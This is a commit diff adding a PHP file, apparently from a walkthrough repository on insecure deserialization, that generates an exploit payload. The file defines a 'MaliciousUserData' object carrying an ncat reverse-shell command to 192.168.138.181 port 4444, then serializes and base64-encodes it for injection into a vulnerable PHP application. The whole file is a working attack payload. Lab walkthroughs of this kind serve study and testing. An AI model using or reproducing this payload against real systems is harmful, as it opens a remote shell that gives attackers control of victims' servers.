2026-03-11
This commit is contained in:
10
Walkthroughs/InsecureDeserialization/payload.php
Normal file
10
Walkthroughs/InsecureDeserialization/payload.php
Normal file
@@ -0,0 +1,10 @@
|
||||
<?php
|
||||
class MaliciousUserData {
|
||||
public $command = 'ncat -nv 192.168.138.181 4444 -e /bin/sh';
|
||||
}
|
||||
|
||||
$maliciousUserData = new MaliciousUserData();
|
||||
$serializedData = serialize($maliciousUserData);
|
||||
$base64EncodedData = base64_encode($serializedData);
|
||||
echo "Base64 Encoded Serialized Data: " . $base64EncodedData;
|
||||
?>
|
||||
Reference in New Issue
Block a user